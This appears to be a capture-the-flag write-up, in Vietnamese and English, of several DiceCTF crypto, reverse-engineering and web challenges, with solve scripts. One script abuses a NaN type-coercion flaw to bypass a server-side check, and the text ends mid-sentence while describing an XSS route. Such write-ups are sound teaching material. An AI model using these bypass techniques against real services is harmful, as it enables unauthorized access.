![image](https://hackmd.io/_uploads/SJADQEcayl.png) # DiceCTF ## crypto/vorpal-sword File server.py ```python= #!/usr/local/bin/python import secrets from Crypto.PublicKey import RSA DEATH_CAUSES = [ 'a fever', 'dysentery', 'measles', 'cholera', 'typhoid', 'exhaustion', 'a snakebite', 'a broken leg', 'a broken arm', 'drowning', ] def run_ot(key, msg0, msg1): ''' https://en.wikipedia.org/wiki/Oblivious_transfer#1–2_oblivious_transfer ''' x0 = secrets.randbelow(key.n) x1 = secrets.randbelow(key.n) print(f'n: {key.n}') print(f'e: {key.e}') print(f'x0: {x0}') print(f'x1: {x1}') v = int(input('v: ')) assert 0 <= v < key.n, 'invalid value' k0 = pow(v - x0, key.d, key.n) k1 = pow(v - x1, key.d, key.n) m0 = int.from_bytes(msg0.encode(), 'big') m1 = int.from_bytes(msg1.encode(), 'big') c0 = (m0 + k0) % key.n c1 = (m1 + k1) % key.n print(f'c0: {c0}') print(f'c1: {c1}') if __name__ == '__main__': with open('flag.txt') as f: flag = f.read().strip() print('=== CHOOSE YOUR OWN ADVENTURE: Vorpal Sword Edition ===') print('you enter a cave.') for _ in range(64): print('the tunnel forks ahead. do you take the left or right path?') key = RSA.generate(1024) msgs = [None, None] page = secrets.randbits(32) live = f'you continue walking. turn to page {page}.' die = f'you die of {secrets.choice(DEATH_CAUSES)}.' msgs = (live, die) if secrets.randbits(1) else (die, live) run_ot(key, *msgs) page_guess = int(input('turn to page: ')) if page_guess != page: exit() print(f'you find a chest containing {flag}') ``` Phân tích code: Đây là một bài về [Oblivious transfer 1-2 RSA](https://en.wikipedia.org/wiki/Oblivious_transfer#1%E2%80%932_oblivious_transfer) Đầu tiên là hàm `run_ot(key,msg0,msg1)` Key là bộ RSA 1024 bits. $\displaystyle x_{0} ,x_{1}$ được tạo ra bởi `secrets.randbelow(key.n)` tức là một số ngẫu nhiên nằm trong khoảng $\displaystyle [ 0,n)$. Server sẽ trả về cho ta $\displaystyle ( n,e,x_{0} ,x_{1})$. Sau đó ta được nhập vào giá trị của một số nguyên $\displaystyle v$ thỏa mãn $\displaystyle 0\leqslant v\leqslant n$. Tiếp đó server sẽ tính toán hai giá trị $\displaystyle k_{0} =( v-x_{0})^{d}\bmod n$ và $\displaystyle k_{1} =( v-x_{1})^{d}\bmod n$. $\displaystyle m_{0} ,m_{1}$ là hai msg ban đầu của ta nhưng được chuyển sang số nguyên. Sau khi lấy giá trị nguyên $\displaystyle m_{0} ,m_{1}$ thì server sẽ tính toán và trả về $\displaystyle c_{0} =( m_{0} +k_{0}) \ \bmod \ n$ và $\displaystyle c_{1} =( m_{1} +k_{1}) \ \bmod n$. Kế đến là cách để lấy lại flag: Game sẽ có tổng cộng 64 vòng và ta cần phải pass qua hết 64 vòng. Ở mỗi vòng server sẽ gen một RSA key 1024 bits, page là một số được sinh ngẫu nhiên và có độ lớn 32 bit. 2 msgs của ta được tạo ra như sau: ```python= live = f'you continue walking. turn to page {page}.' die = f'you die of {secrets.choice(DEATH_CAUSES)}.' ``` Dòng sau: ```python= msgs = (live, die) if secrets.randbits(1) else (die, live) ``` Đảo ngẫu nhiên thứ tự của 2 msgs này. DEATH_CAUSES chọn ngẫu nhiên từ list: ```python= DEATH_CAUSES = [ 'a fever', 'dysentery', 'measles', 'cholera', 'typhoid', 'exhaustion', 'a snakebite', 'a broken leg', 'a broken arm', 'drowning', ] ``` Sau khi setup xong thì tới phần kiểm tra: Ta được nhập vào một số $v$, server sẽ trả về nốt $c_{0}$ và $c_{1}$ và ta sẽ dùng dữ kiện này để đoán giá trị của pages. Hmmmm vậy ý tưởng của bài này là sao? Lúc đầu mình thử nhập $v=x_{0}$ thì từ công thức tính $\displaystyle c_{0} =( m_{0} +k_{0})\bmod n$ và $\displaystyle k_{i} =( v-x_{i})^{d}\bmod n$ thì mình sẽ có một trong hai $\displaystyle c_{i} =m_{i}$. Sau đó mình chuyển `long_to_bytes` là ra lại pages. Nhưng xác suất để bốc trúng là $\displaystyle \frac{1}{2}$ và để Pass cả 64 vòng thì xác suất là $\displaystyle \frac{1}{2^{64}}$ :)). Ý tưởng tiếp theo, nghe có vẻ khả thi hơn đó là làm cách nào đó phân biệt được giữa $c_{0}$ và $c_{1}$ cái nào thực sự chứa pages. Cách phân biệt duy nhất theo mình nghĩ đó là bruteforce thôi :v vì mình biết trước được msgs của `die` nó như thế nào và cũng tự tạo ra được một danh sách tất cả các msgs có thể có. Vì vậy mình sẽ cố gắng tìm một số $v$ mà sau khi tính $k_{0}$ và $k_{1}$ thì ta có một quan hệ tuyến tính giữa chúng, lý do mà mình tạo như vậy là để có thể tạo ra một quan hệ tuyến tính giữa $m_{0}$ và $m_{1}$ bằng cách xét một biểu thức tuyến tính giữa $c_{0}$ và $c_{1}$. Đại loại thì nó sẽ như này Ta cần $\displaystyle k_{0} =-s\times k_{1}$, hai số này được tính bởi: \begin{gather*} k_{0} =( v-x_{0})^{d}(\bmod n) \Longrightarrow k_{0}^{e} =v-x_{0}(\bmod n)\\ k_{1} =( v-x_{1})^{d}(\bmod n) \Longrightarrow k_{1}^{e} =v-x_{1}(\bmod n) \end{gather*} Mà ta có do $\displaystyle e$ lẻ cho nên \begin{gather*} k_{0}^{e} =-s^{e} \times k_{1}^{e}\\ \Longrightarrow v-x_{0} =k_{0}^{e} =-s^{e} \times ( v-x_{1})\\ =-s^{e} \times v+s^{e} \times x_{1}\\ \Longrightarrow v+v\times s^{e} =s^{e} \times x_{1} +x_{0}\\ \Longrightarrow v\left( s^{e} +1\right) =s^{e} \times x_{1} +x_{0}\\ \Longrightarrow v=\frac{s^{e} \times x_{1} +x_{0}}{s^{e} +1} \end{gather*} Tất cả được tính trên mod n. Ta chọn $\displaystyle s=2$ và thay vào tính `v = (x0 + pow(scale, e, n) * x1) * pow(1 + pow(scale, e, n), -1, n) % n` Thực ra thì mình cũng có một thắc mắc là nếu như $s^{e}+1$ không có nghịch đảo modulo $n$ thì sao. Hmmm, nhưng mà code vẫn chạy bth nên mình cx k biết vì sao. Code giải: ```python= from pwn import * from Crypto.Util.number import * import re DEATH_CAUSES = [ 'a fever', 'dysentery', 'measles', 'cholera', 'typhoid', 'exhaustion', 'a snakebite', 'a broken leg', 'a broken arm', 'drowning', ] death_msgs = [f'you die of {cause}.' for cause in DEATH_CAUSES] death_vals = [int.from_bytes(msg.encode(), 'big') for msg in death_msgs] HOST="dicec.tf" PORT=31001 io=remote(HOST,PORT) def extract_page(data): match = re.search(rb"turn to page (\d+)\.", data) if match: page_str = match.group(1).decode() if page_str.isdigit(): return int(page_str) return None def round(server): server.recvuntil(b"n: ") n=int(server.recvline().strip()) server.recvuntil(b"e: ") e=int(server.recvline().strip()) server.recvuntil(b"x0: ") x0=int(server.recvline().strip()) server.recvuntil(b"x1: ") x1=int(server.recvline().strip()) scale=2 v = (x0 + pow(scale, e, n) * x1) * pow(1 + pow(scale, e, n), -1, n) % n server.sendlineafter("v: ",str(v).encode()) server.recvuntil(b"c0: ") c0=int(server.recvline().strip()) server.recvuntil(b"c1: ") c1=int(server.recvline().strip()) comp=c0+scale*c1 # comp=m0+scale*m1 # truong hop m0 la die page=None for d in death_vals: cand=((comp-d) * (pow(scale,-1,n))) % n pos=long_to_bytes(cand) print("debug case 1: ",pos) page=extract_page(pos) if page is not None: break # truong hop m1 la die if page is None: for d in death_vals: cand=(comp-scale*d)%n pos=long_to_bytes(cand) print("debug case 2: ",pos) page=extract_page(pos) if page is not None: break if page is not None: print(f"tìm được valid pages: {page}") server.sendlineafter(b"turn to page: ",str(page).encode()) else: print("bug cmnr") for _ in range(64): round(io) io.interactive() ``` ## rev/debugalyzer Đây là một dạng bài custom dwarf bytecode. Đề bài cung cấp 2 file elf, file dwarf chạy với tham số argv là file main. Kiểm tra hàm main ![image](https://hackmd.io/_uploads/Sk8DahB61x.png) Debug thì cũng không được thêm thông tin gì :v Trong dwarf là các hàm đọc ghi dữ liệu và quan trọng là check flag ở hàm `execute_dwarf_bytecode_v4`: ```c= int __fastcall execute_dwarf_bytecode_v4(__int64 a1, unsigned __int64 a2, __int64 a3, __int64 a4, unsigned __int8 a5) { unsigned __int64 v5; // rax unsigned __int64 v7; // r13 unsigned __int8 v8; // al __int64 v9; // r12 __int64 v10; // rbp __int64 v11; // rdx unsigned __int8 v12; // bl char *v13; // rsi unsigned __int64 v14; // rcx int v15; // eax const char *v16; // rax __int64 v18; // rax int v19; // eax char v20; // si char v21; // bp int v22; // eax unsigned __int64 v23; // rdx char v24; // si __int64 v25; // rcx unsigned __int8 v26; // di unsigned __int8 v27; // si int v28; // eax unsigned __int64 v29; // rdx unsigned __int8 v30; // si char v31; // al unsigned __int64 uleb128; // [rsp+0h] [rbp-58h] unsigned int v33; // [rsp+8h] [rbp-50h] unsigned __int64 v35; // [rsp+10h] [rbp-48h] BYREF _QWORD v36[8]; // [rsp+18h] [rbp-40h] BYREF v36[0] = a1; v35 = a2; if ( !a2 ) { v33 = 1; goto LABEL_15; } v5 = a2; v33 = 1; while ( 1 ) { v11 = v36[0]; v12 = *(_BYTE *)v36[0]; v13 = (char *)++v36[0]; v14 = v5 - 1; v35 = v5 - 1; if ( v12 ) { if ( v12 < *(_BYTE *)(a3 + 3) ) { switch ( v12 ) { case 1u: case 6u: case 7u: case 8u: case 0xAu: case 0xBu: goto LABEL_9; case 2u: case 4u: case 5u: case 0xCu: read_uleb128(v36, (__int64 *)&v35); break; case 3u: do { v31 = *v13++; --v14; } while ( v31 < 0 && v14 ); v36[0] = v13; v35 = v14; break; case 9u: if ( v14 > 1 ) { v36[0] = v11 + 3; v35 = v5 - 3; } break; default: printf("Opcode %d unimplemented\n", v12); break; } } goto LABEL_9; } uleb128 = read_uleb128(v36, (__int64 *)&v35); v7 = v35; if ( !v35 ) goto LABEL_15; v8 = *(_BYTE *)v36[0]; v9 = ++v36[0]; v10 = --v35; if ( v8 == 81 ) { v19 = read_uleb128(v36, (__int64 *)&v35); if ( !v35 ) goto LABEL_15; v20 = *(_BYTE *)v36[0]++; --v35; flag[v19] = v20; goto LABEL_9; } if ( v8 <= 0x51u ) break; if ( v8 != 82 ) goto LABEL_34; v15 = read_uleb128(v36, (__int64 *)&v35); if ( !v35 ) goto LABEL_15; v21 = flag[v15]; v22 = read_uleb128(v36, (__int64 *)&v35); v23 = v35; if ( !v35 ) goto LABEL_15; v24 = flag[v22]; v25 = v36[0]; v26 = *(_BYTE *)v36[0]; --v35; if ( v23 == 1 ) goto LABEL_15; if ( v26 == 2 ) { v12 = v24 * v21; } else if ( v26 > 2u ) { v30 = v21 ^ v24; if ( v26 == 3 ) v12 = v30; } else { v12 = v21 - v24; v27 = v21 + v24; if ( !v26 ) v12 = v27; } v36[0] += 2LL; v28 = v36[0]; v29 = v23 - 2; v35 = v29; LOBYTE(v28) = v29 != 0; LOBYTE(v29) = v12 != *(_BYTE *)(v25 + 1); v33 &= v29 & v28 ^ 1; LABEL_9: v5 = v35; if ( !v35 ) goto LABEL_15; } if ( v8 == 1 ) goto LABEL_9; if ( v8 == 2 ) { if ( uleb128 >= (unsigned __int64)a5 + 1 ) { if ( a5 ) { v18 = 0LL; do ++v18; while ( a5 != v18 ); } else { v18 = 0LL; } v36[0] = v18 + v9; v35 = v10 - v18; } goto LABEL_9; } LABEL_34: printf("Extended opcode %d unimplemented\n", 0); if ( uleb128 <= 1 ) goto LABEL_9; while ( v10 ) { if ( v10 - 1 == v7 - uleb128 ) { v35 = v10 - 1; v36[0] = v7 + v9 - v10; goto LABEL_9; } --v10; } LABEL_15: v16 = (const char *)select_str(incorrect_msg, correct_msg, v33); return puts(v16); } ``` Qua nhiều phép biến đổi, chương trình đã đọc các bytecode từ main, lấy các thông tin và các opcode quan trọng là: * v8: opcode dạng 81 hoặc 82 * `81 <v19> <v12>`: flag[v19] = v20; * `82 <v15> <v22> <type> <val>`: flag[v15] `?` flag[v22] == val * `<type> = 0`: + * `<type> = 1`: - * `<type> = 2`: * * `<type> = 3`: ^ Đến cuối cùng thì đến đoạn in kết quả ```c v16 = (const char *)select_str(incorrect_msg, correct_msg, v33); return puts(v16); ``` ![image](https://hackmd.io/_uploads/ryL7chS6Jg.png) Vậy nếu flag đúng thì biến `v33` cần phải luôn giữ giá trị 1 cho đến cuối. ![image](https://hackmd.io/_uploads/Hyf9c3HpJg.png) Biến `v28` và `v29` cũng là kết quả trả về của các phép kiểm tra phía trên. Vậy flow bài này là từ trong file elf main có đoạn bytecode quan trọng tương tác với flag, sử dụng những quy tắc của file dwarf để gán flag và check flag theo nó rồi thông báo kết quả. Nắm được bộ quy tắc gồm các truy vấn như trên, ta cần dump ra đoạn bytecode quan trọng để reverse: ![image](https://hackmd.io/_uploads/ryNcs2r6Jl.png) ... ![image](https://hackmd.io/_uploads/SyY3o3Spkl.png) ... ![image](https://hackmd.io/_uploads/BkVps2rpye.png) * Opcode 81 ta thấy được Flag độ dài 40 được gán dạng như sau: `dice{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}` * Opcode 82 thực hiện các phép `+-*^` và so sánh. Rõ ràng là `XXX...` là chỉ là test flag nên sẽ không đúng. Như vậy ta có 200 phép so sánh từ opcode 82 để giải mã 40-6 kí tự còn lại. Có thể viết script python dùng Z3 để giải hệ phương trình: ```python= from z3 import * flag = [BitVec(f'flag_{i}', 8) for i in range(40)] s = Solver() s.add(flag[0] == 0x64) # 'd' s.add(flag[1] == 0x69) # 'i' s.add(flag[2] == 0x63) # 'c' s.add(flag[3] == 0x65) # 'e' s.add(flag[4] == 0x7b) # '{' s.add(flag[39] == 0x7d) # '}' f = open('bytecode.txt', 'r') a = f.read() a = a.split('\n') for val in a: val = bytes.fromhex(val[-12:-1]) # print(val[0], val[1], val[2], val[3]) if val[2] == 0: s.add(flag[val[0]] + flag[val[1]] == val[3]) if val[2] == 1: s.add(flag[val[0]] - flag[val[1]] == val[3]) if val[2] == 2: s.add(flag[val[0]] * flag[val[1]] == val[3]) if val[2] == 3: s.add(flag[val[0]] ^ flag[val[1]] == val[3]) if s.check() == sat: m = s.model() for i in range(40): print(chr(m[flag[i]].as_long()), end = '') else: print("???") ``` Flag: `dice{h1ghly_sp3c_c0mpl14nt_dw4rf_p4rs3r}` ## rev/nonograms ![image](https://hackmd.io/_uploads/H1Ey4hP6yl.png) Cho bảng $25*25$, tương tác bật/tắt các ô làm thay đổi giá trị màu đỏ tương ứng nằm trên hàng/cột chứa ô đó. Đọc code js ta biết được, ban đầu giá trị màu đỏ mặc định là `0xffff`, mỗi ô ở hàng $i$ mang một giá trị $a_i$ và khi ô đó được bật thì giá trị màu đỏ ở cột i sẽ được xor với $a_i$. Tương tự mỗi ô ở cột $i$ cũng mang giá trị là $a_i$ và khi được bật thì hàng $i$ sẽ được xor với $a_i$. Nếu các giá trị đỏ bằng với giá trị đen tương ứng thì nó sẽ đổi thành màu xanh lá. Mục tiêu là gọi được hàm `win()`, đọc alert thì trạng thái bảng lúc gọi được hàm `win()` có thể mà một QR. Để gọi được `win()` thì tất cả các giá trị đỏ phải thành xanh hết. Bài toán: Tìm một cách tô màu các ô sao cho xor của một hàng/cột bằng những giá trị cố định. Đây là bài toán hoàn toàn giải được vì có thể brute forces tất cả các cách tô. Tuy nhiên khi đánh giá độ phức tạp: * Duyệt hết $25*25$ ô, mỗi ô có 2 cách tô, suy ra có $2^{25*25}$ trường hợp, mỗi trường hợp check trong $O(25) \rightarrow O(2^{625} * 25) ~ 3.4e189$ là quá lớn. * Tối ưu 1: Thực tế trên 1 hàng/1 cột không có quá nhiều cách tô thỏa mãn riêng giá trị trên hàng/cột đó. Thực nghiệm cho thấy khi xét riêng hàng/cột thì đều có đúng $512$ cách tô. Như vậy số cách sinh $25$ hàng thỏa mãn là $512^{25} ~ 5.3e67$ vẫn còn quá lớn. Tuy nhiên ta có thể lưu lại tất cả các trạng thái tô thỏa mãn trên mỗi hàng/cột dưới dạng một số nguyên 25 bit, độ phức tạp $O(2^{25} * 25) ~ 8e8$ có thể chạy được ở máy local trong 8 giây. (dùng mảng này cho tối ưu 2) * Tối ưu 2: Khi sinh cách tô cho một hàng mới bất kì thì số cách tô màu cho các cột thỏa mãn sẽ giảm đi. Vậy có thể áp dụng nhánh cận để đảm bảo là khi sinh một hàng mới tiếp theo thì phải vẫn tồn tại cách tô 25 cột thỏa mãn. Có thể prepare được cách tô hàng thứ i sẽ khớp với những cách tô nào của mỗi 25 cột. Duy trì 25 bitset lưu trạng thái các cách tô thỏa mãn, khi sinh cột mới thì thì thực hiện phép `&` trên bitset với độ phức tạp $O(1), (25/32)$ để chỉ lấy phần giao của các cách tô ở mỗi cột. Danh sách này sẽ ngày càng ít đi khi sinh thêm hàng. Thực tế cho thấy nhánh cận hoạt động khá tốt khi mà tổng thời gian chạy cũng chỉ sấp xỉ 8 giây, trọng số rơi vào đoạn prepare chứ không phải đệ quy. Tuy nhiên thực tế là có rất nhiều cách tô thỏa mảng xanh hết 2 cột, thông báo win được in ra nhưng trạng thái bảng không phải QR. Vậy nên cần thêm một hàm nữa để dự đoán format của một QR có 3 hình vuông ở 3 góc. ``` cpp= #include <bits/stdc++.h> //Logm using namespace std; #define int long long const int N = 25, LIM = 1 << N, M = 512, BASE = 0xffff, K = 7; int a[] = { 0xc4cf, 0x899f, 0x133f, 0x1b1a, 0x0b50, 0x2bc4, 0x6aec, 0xe8bc, 0x1a55, 0x09ce, 0x2ef8, 0x6094, 0xfc4c, 0xf899, 0xf133, 0xe267, 0x0b27, 0x2b2a, 0x6b30, 0xeb04, 0xd609, 0xac13, 0x5827, 0x8d2a, 0xc29a, }; int row[] = { 0x6d5c, 0xe1f4, 0x0e05, 0x4c83, 0x801c, 0x9d09, 0xd041, 0x7680, 0xa050, 0x2024, 0x7a61, 0x9c87, 0xf321, 0x98e0, 0x3698, 0xef35, 0x5c48, 0x86aa, 0x80c7, 0x05be, 0xc22d, 0xb6a4, 0xf609, 0xf01a, 0x501a }; int col[] = { 0x464f, 0xc1a4, 0xc29a, 0x210c, 0xeaf5, 0x494e, 0xd041, 0xad51, 0x58f2, 0x55f0, 0x1bbd, 0xfb91, 0xd098, 0x9af1, 0x8384, 0xaf30, 0x4a10, 0x5eaa, 0x9553, 0x92ab, 0xd4b7, 0x3249, 0xd3be, 0xffc6, 0xa050, }; int first_rows[7][N] = { {1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1}, {1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1}, {1, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1}, {1, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1}, {1, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1}, {1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1}, {1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1} }; bitset<M> adj[N][M][N]; vector<int> rows[N], cols[N]; void printmsk(int msk) { for (int i = 0; i < N; ++i) cout << (msk >> i & 1); cout << endl; } bool check(int msk1, int i, int msk2, int j) { return (msk1 >> i & 1) == (msk2 >> j & 1); } int trace[N]; void printans() { for (int i = 0; i < N; ++i) { printmsk(trace[i]); } } bool checkQR(int u, int msk) { if (u < K) { for (int j = 0; j < N; ++j) if (first_rows[u][j] && (msk >> j & 1) == 0) return 1; } else { for (int j = 0; j < 7; ++j) if (first_rows[N - u - 1][j] && (msk >> j & 1) == 0) return 1; } return 0; } void backtrack(int u, bitset<M> s[N]) { if (u == 25) { cout << "found" << endl; printans(); cout << endl; // system("pause"); cout << endl; exit(0); } for (int i = 0; i < rows[u].size(); ++i) { if (u < K || u >= N - K) { if (checkQR(u, rows[u][i])) continue; } bitset<M> t[N]; for (int tmp = 0; tmp < N; ++tmp) t[tmp] = s[tmp]; bool flag = 0; for (int v = 0; v < N; ++v) { t[v] &= adj[u][i][v]; if (t[v].count() == 0) { flag = 1; break; } } if (flag) continue; trace[u] = rows[u][i]; backtrack(u + 1, t); } } signed main() { // ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0); // if (fopen("_ab.inp", "r")) { // freopen("_ab.inp", "r", stdin); freopen("_ab.out", "w", stdout); // } for (int i = 0; i < N; ++i) a[i] ^= BASE; for (int msk = 0; msk < LIM; ++msk) { int x = BASE; for (int i = 0; i < N; ++i) { if (msk >> i & 1) { x ^= a[i]; } } for (int id = 0; id < N; ++id) if (x == row[id]) rows[id].push_back(msk); for (int id = 0; id < N; ++id) if (x == col[id]) cols[id].push_back(msk); } for (int i = 0; i < N; ++i) for (int j = 0; j < N; ++j) for (int k = 0; k < rows[i].size(); ++k) for (int l = 0; l < cols[j].size(); ++l) if (check(rows[i][k], j, cols[j][l], i)) adj[i][k][j][l] = 1; cout << "Solving" << endl; bitset<M> t[N]; for (int i = 0; i < N; ++i) for (int j = 0; j < M; ++j) t[i][j] = 1; backtrack(0, t); return 0; } ``` Tool để gen ảnh QR: https://www.dcode.fr/binary-image Flag: `dice{piCRCr0s5!<:P}` ## rev/oño File oño ```c= __int64 __fastcall main(int a1, char **a2, char **a3) { size_t v3; // rax __int64 v4; // rbx __int64 v5; // rbp char *v6; // rdi __int64 v7; // rcx int v8; // ebp __int64 i; // rax int v10; // edx char *v12[2]; // [rsp+0h] [rbp-F8h] BYREF char v13; // [rsp+17h] [rbp-E1h] BYREF char v14; // [rsp+2Ch] [rbp-CCh] BYREF char v15; // [rsp+41h] [rbp-B7h] BYREF char v16[26]; // [rsp+56h] [rbp-A2h] BYREF char *argv[4]; // [rsp+70h] [rbp-88h] BYREF char s[8]; // [rsp+90h] [rbp-68h] BYREF _QWORD v19[12]; // [rsp+98h] [rbp-60h] printf(format, a2, a3); fflush(stdout); fgets(s, 64, stdin); v3 = strcspn(s, "\n"); s[v3] = 0; if ( v3 == 32 ) { v4 = *(_QWORD *)s; argv[3] = 0LL; argv[0] = &v13; v5 = 0LL; argv[1] = &v14; argv[2] = &v15; v12[0] = v16; v12[1] = 0LL; do { v6 = argv[v5]; v7 = v19[v5++]; snprintf(v6, 0x15uLL, "%llu", v7); } while ( v5 != 3 ); v8 = memfd_create(&unk_55555555600F, 0LL); for ( i = 0LL; i != 5429; ++i ) { while ( 1 ) { buf[i] = v4 ^ (0x4C01DB400B0C9LL * buf[i]); v10 = 32; do { v4 = __ROL8__((37 * v4) ^ (42424242 * v4), 7); --v10; } while ( v10 ); if ( i ) break; snprintf(v16, 0x1AuLL, aO, v4); i = 1LL; } } write(v8, buf, 0xA9A8uLL); fexecve(v8, argv, v12); } puts(::s); return 1LL; } ``` Nhập flag 32 bytes, lấy 8 bytes đầu để đi decrypt một mảng qword khá lớn tạo thành một chương trình con có thể là check flag, 24 bytes còn lại được chia làm 3 phần, mỗi phần 8 bytes được chuyển thành 8 còn số và truyền vào argv cho hàm con, cùng với envr là "oño=" + giá trị v4 đầu tiên sau khi mã hóa của 8 bytes đầu. ```py q = 0x7F861CD6D160EBC3 s = 0x00010102464C457F v4 = (q * 0x4C01DB400B0C9) v4 &= 0xffffffffffffffff v4 ^= s print(bytes.fromhex(hex(v4)[2:])[::-1]) # b'dice{n0w' ``` Những gì đã tính được: * Dựa trên cấu trúc header của file elf 64-bit, có thể reverse lại đoạn mã hóa đầu tiên, thì 8 bytes đầu phải là `dice{n0w` phù hợp với format flag * Vậy cũng có thể biết chắc được envr là "oño=8940005473485202353" từ việc debug. * Cũng từ việc debug thì dump được qword_555555558080 sau khi giải mã bằng key phía trên và thấy cấu trúc đúng với elf 64-bit. * Thả file dump đó vào IDA và bắt đầu reverse code bài mới :v ``` env = 'oño=8940005473485202353', argv = [3 phần còn lại của flag, mỗi phần 8 bytes chuyển thành 1 số nguyên] ``` ```c= __int64 __fastcall main(int a1, char **a2, char **a3) { __int64 v5; // rbp char *i; // rax __int64 v7; // rsi int v8; // r12d __int64 *v9; // rax __int64 v10; // rcx __int64 v11; // rdi __int64 v13; // [rsp+0h] [rbp-78h] BYREF __int64 v14; // [rsp+8h] [rbp-70h] BYREF char *envp[2]; // [rsp+10h] [rbp-68h] BYREF char s[82]; // [rsp+26h] [rbp-52h] BYREF __isoc99_sscanf(*a2, "%llu", &v13); v5 = v13; for ( i = *a3 + 5; *i; ++i ) { v7 = 1337 * v13; if ( (*i & 1) != 0 ) v7 = __ROL8__(v13, 19); v13 = v7; } if ( v13 == 0xF5B5E8549FA67DB9LL ) { v8 = memfd_create(&unk_555555556006, 0LL); v9 = (__int64 *)&unk_555555558060; do { v10 = *v9; v9 = (__int64 *)((char *)v9 + 1); *(__int64 *)((char *)v9 - 1) = v5 * v10; } while ( v9 != (__int64 *)((char *)&unk_555555558060 + 28968) ); write(v8, &unk_555555558060, 0x7130uLL); v11 = (__int64)*a3; envp[0] = s; envp[1] = 0LL; __isoc99_sscanf(v11 + 5, "%llu", &v14); v14 ^= v5; snprintf(s, 0x1AuLL, format); fexecve(v8, a2 + 1, envp); } puts(::s); return 1LL; } ``` Với env = 'oño=8940005473485202353', hàm này lấy từ kí tự thứ 5 trở về sau, nghĩa là chỉ lấy phần số. Xét kí tự từ trái sang phải nếu số chắn thì rol(19) còn lẻ thì * 1337. Kết quả đem đi so sánh với 0xF5B5E8549FA67DB9LL, khớp thì đi mã hóa mảng unk_555555558060 để gọi fexecve tiếp. Vậy ta sẽ từ giá trị 0xF5B5E8549FA67DB9LL đi ngược lên để tìm v13 ban đầu, chính là argv[0], cũng chính là tên của chương trình này. ```python= def ror64(val, k): k %= 64 return ((val >> k) | (val << (64 - k))) & 0xFFFFFFFFFFFFFFFF # env = 'oño=8940005473485202353' s = '8940005473485202353'[::-1] x = 0xF5B5E8549FA67DB9 inv_1337 = pow(1337, -1, 1 << 64) for c in s: if ord(c) % 2 == 1: x = ror64(x, 19) else: x = (x * inv_1337) % (1 << 64) print(x) # 3486735211078842207 print(bytes.fromhex(hex(x)[2:])[::-1]) # b'_w3r3_c0' ``` Vậy ta đã có phần thứ 2 của flag. Sau khi tìm ra số argv[0] thỏa mãn thì ta sẽ đổi tên elf này thành 3486735211078842207 để chạy lại và xem kết quả rồi dump tiếp file elf mới ra: ``` env = 'oño=3486735211078842207', argv = [2 phần còn lại của flag, mỗi phần 8 bytes chuyển thành 1 số nguyên, trong đó phần đầu tiên được được xor với v5 ở bước trước] ``` ```c= __int64 __fastcall main(int a1, char **a2, char **a3) { __int64 v3; // rdi int v4; // r12d __int64 v6; // [rsp+0h] [rbp-68h] BYREF unsigned __int64 v7; // [rsp+8h] [rbp-60h] BYREF char *envp[2]; // [rsp+10h] [rbp-58h] BYREF char s[66]; // [rsp+26h] [rbp-42h] BYREF __isoc99_sscanf(*a3 + 5, "%llu", &v6); __isoc99_sscanf(*a2, "%llu", &v7); if ( v7 % 1337 != 800 ) { v3 = qword_555555558048 + qword_555555558050 * v7; v7 = v3; if ( v3 == v6 ) { envp[1] = 0LL; envp[0] = s; v7 = qword_555555558048 + v3 * qword_555555558050; snprintf(s, 0x1AuLL, format); v4 = memfd_create(&unk_555555556010, 0LL); memfrob(&unk_555555558060, 0x38B8uLL); write(v4, &unk_555555558060, 0x38B8uLL); fexecve(v4, a2 + 1, envp); } } puts(::s); return 1LL; } ``` ![image](https://hackmd.io/_uploads/Skc9urOTkg.png) Cần tìm v7 sao cho: qword_555555558048 + qword_555555558050 * v7 = 3486735211078842207 và v7 % 1337 != 800 ... Hết giờ Flag: dice{n0w_w3r3_c0...............} ## web/cookie-recipes-v3 File challenges : ```js= app.post('/bake', (req, res) => { const number = req.query.number if (!number) { res.end('missing number') } else if (number.length <= 2) { cookies.set(req.user, (cookies.get(req.user) ?? 0) + Number(number)) res.end(cookies.get(req.user).toString()) } else { res.end('that is too many cookies') } }) app.post('/deliver', (req, res) => { const current = cookies.get(req.user) ?? 0 const target = 1_000_000_000 if (current < target) { res.end(`not enough (need ${target - current}) more`) } else { res.end(process.env.FLAG) } }) ``` - The goal is too pass the check at **current < target**. Because it doesnt check type of number on req.query.number so we can simply send a character and the Number() will convert it to NaN and bypass the check. sovle.py ```python import requests s = requests.Session() url = "https://cookie.dicec.tf/" data = { "number" : "A" } res = s.get(url+'/') cookie = res.cookies.get('user') res = s.post(url+'/bake',params=data,cookies={"user":cookie}) res = s.post(url+'/deliver',data=data,cookies={"user":cookie}) print(res.text) ``` ## nobin - This challenge give us a free xss route at /xss. - The bot of admin will type the flag and it is saved into sharedStorage. ```html= <!DOCTYPE html> <html> <head> <title>nobin</title> <link rel="stylesheet" href="https://unpkg.com/marx-css/css/marx.min.css"> </head> <body> <main> <h1>nobin</h1> <hr /> <h5>Enter your message to be saved:</h5> <!-- TODO: implement a way to read the message --> <p></p> <form> <label for="message">Message:</label> <textarea id="message" placeholder="Message"></textarea> <br /> <input type="submit" value="Save"> </form> <script> document.querySelector('form').addEventListener('submit', async (e) => { e.preventDefault(); const message = document.querySelector('textarea').value; await sharedStorage.set("message", message); document.querySelector('p').textContent = "Message saved!"; setTimeout(() => { document.querySelector('p').textContent = ""; }, 2000); }); </script> <br /> <a href="/report">Report</a> </main> </body> </html> ``` - We have free Xss so just need to find some document about receiving the data from sharedStorage. - But it seems sharedStorage doesn't allow to do that and I found some interesting APIs. - Select URL Apis : 